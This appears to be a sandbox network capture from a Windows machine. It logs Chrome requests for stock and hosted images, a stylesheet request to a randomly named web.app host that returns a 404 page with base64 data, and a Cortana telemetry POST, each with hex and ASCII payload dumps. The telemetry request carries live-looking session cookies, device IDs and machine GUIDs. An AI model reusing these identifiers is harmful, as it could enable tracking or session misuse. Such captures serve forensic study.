2024-04-17 23:28:30 UTC	688	OUT	GET /vectors/email-marketing-icon-vector-graphics-vector-id1257404830?k=20&m=1257404830&s=612x612&w=0&h=LOwm34ubd_vUzqIi5k3rxflh04NbZTZEnSTYSVmX2Jk= HTTP/1.1 Host: media.istockphoto.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:30 UTC	573	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Length: 23156 Connection: close Date: Thu, 28 Mar 2024 09:16:25 GMT Server: Kestrel Access-Control-Allow-Origin: * Cache-Control: public, max-age=7776000 Last-Modified: Thu, 28 Mar 2024 09:16:25 GMT Content-Disposition: inline; filename=istockphoto-1257404830-612x612.jpg X-Cache: Hit from cloudfront Via: 1.1 62378bb503503249cf2a7f20bcb59dec.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P6 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: lvlymWM6BcCh2vDagZ2hBYtbiFYSmkRpcNPFpzgINbUjZnIv6ANfgA== Age: 1779125
2024-04-17 23:28:30 UTC	15811	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 a4 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 0e 01 02 00 5a 00 00 00 32 00 00 00 1a 01 05 00 01 00 00 00 8c 00 00 00 1b 01 05 00 01 00 00 00 94 00 00 00 00 00 00 00 45 6d 61 69 6c 20 4d 61 72 6b 65 74 69 6e 67 20 69 63 6f 6e 2e 20 55 73 65 20 66 6f 72 20 63 6f 6d 6d 65 72 63 69 61 6c 2c 20 70 72 69 6e 74 20 6d 65 64 69 61 2c 20 77 65 62 20 6f 72 20 61 6e 79 20 74 79 70 65 20 6f 66 20 64 65 73 69 67 6e 20 70 72 6f 6a 65 63 74 73 2e 2c 01 00 00 01 00 00 00 2c 01 00 00 01 00 00 00 ff e1 05 75 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 Data Ascii: JFIF,,ExifII*Z2Email Marketing icon. Use for commercial, print media, web or any type of design projects.,,uhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehi
2024-04-17 23:28:30 UTC	7345	IN	Data Raw: 00 00 00 1f 12 49 24 92 49 3c 00 00 00 00 00 00 02 49 24 92 49 24 90 c0 00 06 40 ff 00 ff 00 31 80 00 04 44 92 49 24 92 78 00 00 00 00 00 00 14 92 49 24 92 49 8c 00 04 c7 ff 00 ff 00 ff 00 fe 80 00 00 19 24 92 49 24 b0 00 00 00 00 00 00 09 24 92 49 24 90 c0 02 69 ff 00 ff 00 ff 00 ff 00 ff 00 fd 00 00 32 49 24 92 49 e0 00 00 00 00 00 00 52 49 24 92 49 70 00 0a ff 00 ff 00 ff 00 73 ff 00 ff 00 ff 00 c6 00 08 92 49 24 92 c0 00 00 00 00 00 00 24 92 49 24 93 80 03 4f ff 00 ee d8 00 8b 4f ff 00 f2 00 0e 24 92 49 27 80 00 00 00 00 00 01 49 24 92 49 34 00 0c ff 00 f0 20 00 00 00 18 7f fd 00 02 49 24 92 4b 00 00 00 00 00 00 00 12 49 24 92 f8 02 2f ff 00 ec 00 00 00 00 02 9f f9 00 11 12 49 24 9e 00 00 00 00 00 00 00 24 92 49 27 00 02 ff 00 f0 c0 02 62 5b e2 b1 bf Data Ascii: I$I<I$I$@1DI$xI$I$I$$I$i2I$IRI$IpsI$$I$OO$I'I$I4 I$KI$/I$$I'b[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49732	18.165.116.61	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:31 UTC	488	OUT	GET /vectors/email-marketing-icon-vector-graphics-vector-id1257404830?k=20&m=1257404830&s=612x612&w=0&h=LOwm34ubd_vUzqIi5k3rxflh04NbZTZEnSTYSVmX2Jk= HTTP/1.1 Host: media.istockphoto.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:31 UTC	573	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Length: 23156 Connection: close Date: Thu, 28 Mar 2024 09:16:25 GMT Server: Kestrel Access-Control-Allow-Origin: * Cache-Control: public, max-age=7776000 Last-Modified: Thu, 28 Mar 2024 09:16:25 GMT Content-Disposition: inline; filename=istockphoto-1257404830-612x612.jpg X-Cache: Hit from cloudfront Via: 1.1 bcd2cde1724433323cdd9d3cb59cc652.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P6 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: K6erZ0g_DL4UzJd-npWSWrvr78qkUkxdAAJhFnGaP0K9V8DPH0st3A== Age: 1779126
2024-04-17 23:28:31 UTC	15811	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 a4 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 0e 01 02 00 5a 00 00 00 32 00 00 00 1a 01 05 00 01 00 00 00 8c 00 00 00 1b 01 05 00 01 00 00 00 94 00 00 00 00 00 00 00 45 6d 61 69 6c 20 4d 61 72 6b 65 74 69 6e 67 20 69 63 6f 6e 2e 20 55 73 65 20 66 6f 72 20 63 6f 6d 6d 65 72 63 69 61 6c 2c 20 70 72 69 6e 74 20 6d 65 64 69 61 2c 20 77 65 62 20 6f 72 20 61 6e 79 20 74 79 70 65 20 6f 66 20 64 65 73 69 67 6e 20 70 72 6f 6a 65 63 74 73 2e 2c 01 00 00 01 00 00 00 2c 01 00 00 01 00 00 00 ff e1 05 75 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 Data Ascii: JFIF,,ExifII*Z2Email Marketing icon. Use for commercial, print media, web or any type of design projects.,,uhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehi
2024-04-17 23:28:31 UTC	7345	IN	Data Raw: 00 00 00 1f 12 49 24 92 49 3c 00 00 00 00 00 00 02 49 24 92 49 24 90 c0 00 06 40 ff 00 ff 00 31 80 00 04 44 92 49 24 92 78 00 00 00 00 00 00 14 92 49 24 92 49 8c 00 04 c7 ff 00 ff 00 ff 00 fe 80 00 00 19 24 92 49 24 b0 00 00 00 00 00 00 09 24 92 49 24 90 c0 02 69 ff 00 ff 00 ff 00 ff 00 ff 00 fd 00 00 32 49 24 92 49 e0 00 00 00 00 00 00 52 49 24 92 49 70 00 0a ff 00 ff 00 ff 00 73 ff 00 ff 00 ff 00 c6 00 08 92 49 24 92 c0 00 00 00 00 00 00 24 92 49 24 93 80 03 4f ff 00 ee d8 00 8b 4f ff 00 f2 00 0e 24 92 49 27 80 00 00 00 00 00 01 49 24 92 49 34 00 0c ff 00 f0 20 00 00 00 18 7f fd 00 02 49 24 92 4b 00 00 00 00 00 00 00 12 49 24 92 f8 02 2f ff 00 ec 00 00 00 00 02 9f f9 00 11 12 49 24 9e 00 00 00 00 00 00 00 24 92 49 27 00 02 ff 00 f0 c0 02 62 5b e2 b1 bf Data Ascii: I$I<I$I$@1DI$xI$I$I$$I$i2I$IRI$IpsI$$I$OO$I'I$I4 I$KI$/I$$I'b[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49737	199.36.158.100	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:34 UTC	547	OUT	GET /ucspqsuf8bxoiymvvdy5p6pp9uzvyqj/hover.css HTTP/1.1 Host: runn1rnl8xzmqeh0kvov.web.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:34 UTC	493	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 10601 Cache-Control: max-age=0 Content-Type: text/html; charset=utf-8 Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Wed, 17 Apr 2024 23:28:34 GMT X-Served-By: cache-pdk-kpdk1780136-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1713396514.368549,VS0,VE20 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-17 23:28:34 UTC	1378	IN	Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 0a 20 20 20 20 Data Ascii: <!doctype html><html> <head> <title>Site Not Found</title> <link href='https://fonts.googleapis.com/css?family=Roboto' rel='stylesheet' type='text/css'> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>
2024-04-17 23:28:34 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 43 45 46 46 31 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 20 4d 6f 6e 6f 27 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 43 6f 75 72 69 65 72 2c 6d 6f 6e 6f 73 70 61 63 65 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 Data Ascii: background-color: #ECEFF1; border-radius: 3px; font-family: 'Roboto Mono',"Liberation Mono",Courier,monospace; font-size: 14px; line-height: 1; } .logo { display: block; text-align: cente
2024-04-17 23:28:34 UTC	1378	IN	Data Raw: 77 7a 49 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 4d 69 59 51 52 4d 6b 59 79 2f 2b 2b 53 58 6e 79 34 7a 59 39 69 66 47 38 Data Ascii: wzIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMiYQRMkYy/++SXny4zY9ifG8
2024-04-17 23:28:34 UTC	1378	IN	Data Raw: 70 75 70 54 30 71 69 4c 73 53 6c 69 6a 75 55 6b 4e 79 4c 75 77 7a 59 73 48 58 49 42 30 36 70 2b 58 62 4c 66 6d 79 73 5a 66 37 46 30 4b 31 57 34 65 5a 70 72 5a 77 2b 34 4b 56 57 34 76 64 7a 48 2b 58 32 2f 49 31 78 66 37 67 68 59 46 58 54 7a 7a 75 4d 4e 35 31 45 65 6b 6f 2f 7a 72 48 37 50 6e 52 62 31 41 7a 68 36 39 51 6c 4e 45 4b 6f 6f 7a 61 31 55 34 61 61 2b 62 31 56 76 7a 6e 63 62 74 76 76 63 58 4d 50 35 57 6d 38 64 67 64 78 33 6d 48 4c 66 74 43 52 30 58 4d 76 59 34 65 62 2b 79 42 7a 6d 51 35 51 58 41 36 70 48 4c 2f 6a 79 66 4d 77 42 41 6d 34 59 61 37 69 5a 77 50 43 49 45 57 35 75 39 58 5a 2f 37 33 4e 48 74 69 30 78 6e 55 6d 61 7a 64 62 76 33 56 2f 35 68 5a 73 33 76 5a 70 62 78 56 31 4b 48 32 35 75 75 41 35 7a 77 4d 32 47 2f 45 36 46 32 7a 53 66 63 34 43 Data Ascii: pupT0qiLsSlijuUkNyLuwzYsHXIB06p+XbLfmysZf7F0K1W4eZprZw+4KVW4vdzH+X2/I1xf7ghYFXTzzuMN51Eeko/zrH7PnRb1Azh69QlNEKooza1U4aa+b1VvzncbtvvcXMP5Wm8dgdx3mHLftCR0XMvY4eb+yBzmQ5QXA6pHL/jyfMwBAm4Ya7iZwPCIEW5u9XZ/73NHti0xnUmazdbv3V/5hZs3vZpbxV1KH25uuA5zwM2G/E6F2zSfc4C
2024-04-17 23:28:34 UTC	1378	IN	Data Raw: 6a 48 68 48 35 39 30 76 76 6b 65 52 74 67 74 58 77 33 5a 65 2f 31 66 64 32 61 31 73 73 55 39 77 34 4c 65 62 31 52 6e 74 55 42 73 39 68 46 79 4b 68 32 66 46 48 43 52 35 30 4a 65 74 32 38 44 6b 56 76 47 64 4b 45 61 70 78 31 36 52 65 49 73 2f 70 7a 39 4f 4f 55 49 5a 2b 30 7a 54 76 62 66 56 56 2f 44 68 69 57 7a 67 66 6e 34 50 77 30 4e 73 37 47 44 54 65 33 39 2b 4d 39 65 78 44 43 7a 66 6c 78 58 66 57 6b 35 44 78 63 39 39 53 47 35 65 57 59 47 38 52 6c 6e 34 32 2b 32 68 68 66 6c 65 35 75 41 71 76 6d 2f 5a 4c 65 4f 47 62 68 73 70 35 65 32 74 73 48 64 66 4f 65 4a 76 52 72 4a 37 74 59 2f 72 77 4f 75 71 73 4a 67 2b 71 46 42 4f 73 79 79 4b 53 65 37 32 7a 43 35 65 32 32 7a 64 50 4f 6d 34 41 62 61 6d 61 31 47 42 56 75 59 74 76 36 30 4b 53 71 2b 41 59 67 33 4e 54 50 57 Data Ascii: jHhH590vvkeRtgtXw3Ze/1fd2a1ssU9w4Leb1RntUBs9hFyKh2fFHCR50Jet28DkVvGdKEapx16ReIs/pz9OOUIZ+0zTvbfVV/DhiWzgfn4Pw0Ns7GDTe39+M9exDCzflxXfWk5Dxc99SG5eWYG8Rln42+2hhfle5uAqvm/ZLeOGbhsp5e2tsHdfOeJvRrJ7tY/rwOuqsJg+qFBOsyyKSe72zC5e22zdPOm4Abama1GBVuYtv60KSq+AYg3NTPW
2024-04-17 23:28:34 UTC	1378	IN	Data Raw: 54 55 6c 2f 2f 72 41 53 55 73 57 4e 2b 34 52 71 6d 6a 41 4f 71 36 61 69 71 76 69 4a 6b 4a 32 44 62 6a 2b 50 6c 51 78 33 64 41 69 34 49 38 32 71 46 33 33 44 54 51 65 58 75 54 36 67 6c 64 75 65 45 48 39 41 54 38 72 30 6c 68 49 38 64 30 4b 43 44 30 73 74 5a 62 41 73 79 79 48 7a 54 56 71 42 64 53 73 73 59 4e 4a 65 77 4f 31 64 77 6a 44 66 38 5a 67 54 2f 7a 45 79 79 7a 48 62 49 79 7a 4d 73 37 34 2b 4c 53 78 6f 71 70 4c 4e 65 62 4c 6c 6b 50 59 62 61 6e 51 79 61 59 2b 49 39 35 2f 32 47 57 54 5a 43 79 35 44 6d 6c 76 4f 74 7a 56 37 73 4d 50 4e 44 66 46 44 64 58 66 76 78 51 48 36 69 46 51 54 56 6a 6f 54 45 52 75 39 62 76 65 77 38 78 48 68 45 4b 66 53 7a 48 4c 41 34 74 73 42 37 32 6c 43 4c 32 73 31 78 76 76 78 75 75 44 48 44 55 57 76 64 2b 46 50 45 77 5a 43 55 41 63 Data Ascii: TUl//rASUsWN+4RqmjAOq6aiqviJkJ2Dbj+PlQx3dAi4I82qF33DTQeXuT6gldueEH9AT8r0lhI8d0KCD0stZbAsyyHzTVqBdSssYNJewO1dwjDf8ZgT/zEyyzHbIyzMs74+LSxoqpLNebLlkPYbanQyaY+I95/2GWTZCy5DmlvOtzV7sMPNDfFDdXfvxQH6iFQTVjoTERu9bvew8xHhEKfSzHLA4tsB72lCL2s1xvvxuuDHDUWvd+FPEwZCUAc
2024-04-17 23:28:34 UTC	1378	IN	Data Raw: 59 4a 68 6f 6d 41 77 45 35 6a 49 6b 46 49 65 35 58 65 66 4d 66 38 56 46 75 2b 6c 58 49 6e 4a 73 35 7a 67 74 37 7a 6e 47 36 66 63 68 64 74 50 39 2f 32 56 61 31 2f 4f 71 39 51 77 58 56 6f 62 68 5a 32 62 6d 5a 36 33 2b 31 4a 63 72 54 44 72 56 57 31 58 6d 44 46 39 79 58 67 77 67 49 71 37 55 58 4f 73 37 4c 33 4d 4e 69 6b 44 70 6b 66 53 4c 70 44 64 64 32 4d 4a 6e 49 78 4a 4a 79 57 66 55 4b 67 46 76 44 63 4e 49 66 73 76 48 44 4e 4a 31 68 57 76 36 72 58 32 31 46 49 55 30 58 48 73 5a 54 52 38 76 75 39 6e 33 7a 48 35 30 4a 64 58 33 69 56 69 6f 36 41 61 32 33 6e 33 35 73 72 75 59 4e 4e 71 6c 78 72 74 4b 71 33 49 78 39 75 37 6e 38 50 31 61 44 4c 52 35 58 61 75 49 64 64 45 70 42 6d 39 50 72 5a 6b 49 6f 70 6e 37 49 61 38 43 36 38 6e 6b 72 34 6d 70 63 69 6c 74 2f 76 50 Data Ascii: YJhomAwE5jIkFIe5XefMf8VFu+lXInJs5zgt7znG6fchdtP9/2Va1/Oq9QwXVobhZ2bmZ63+1JcrTDrVW1XmDF9yXgwgIq7UXOs7L3MNikDpkfSLpDdd2MJnIxJJyWfUKgFvDcNIfsvHDNJ1hWv6rX21FIU0XHsZTR8vu9n3zH50JdX3iVio6Aa23n35sruYNNqlxrtKq3Ix9u7n8P1aDLR5XauIddEpBm9PrZkIopn7Ia8C68nkr4mpcilt/vP

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49739	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:34 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1713396481912&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-04-17 23:28:34 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-04-17 23:28:34 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-04-17 23:28:34 UTC	479	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 140833FF3B6841779E7DC2500CE9D1FC Ref B: LAX311000108031 Ref C: 2024-04-17T23:28:34Z Date: Wed, 17 Apr 2024 23:28:34 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1713396514.801ad53

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49742	169.197.85.95	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:34 UTC	584	OUT	GET /0fSNxpr/imgonline-com-ua-exifedit-TN1-PVe8jklc-C.jpg HTTP/1.1 Host: i.ibb.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:35 UTC	380	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 17 Apr 2024 23:28:35 GMT Content-Type: image/jpeg Content-Length: 36895 Connection: close Last-Modified: Sat, 13 May 2023 14:37:38 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-04-17 23:28:35 UTC	3716	IN	Data Raw: ff d8 ff e1 0d 7d 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0f 01 00 00 03 00 00 00 01 04 b0 00 00 01 01 00 03 00 00 00 01 02 c5 00 00 01 02 00 03 00 00 00 03 00 00 00 c2 01 06 00 03 00 00 00 01 00 02 00 00 01 0d 00 02 00 00 00 08 00 00 00 c8 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 d0 01 1b 00 05 00 00 00 01 00 00 00 d8 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 06 00 00 00 e0 01 32 00 02 00 00 00 14 00 00 00 e6 02 13 00 03 00 00 00 01 00 01 00 00 82 98 00 02 00 00 00 06 00 00 00 fa 87 69 00 04 00 00 00 01 00 00 01 00 00 00 01 f2 00 08 00 08 00 08 50 72 69 76 61 74 65 00 00 00 01 38 00 00 00 01 00 00 01 37 00 00 00 01 43 61 6e 6f 6e 00 32 30 32 33 3a 31 30 3a 31 32 20 31 33 Data Ascii: }ExifMM*(12iPrivate87Canon2023:10:12 13
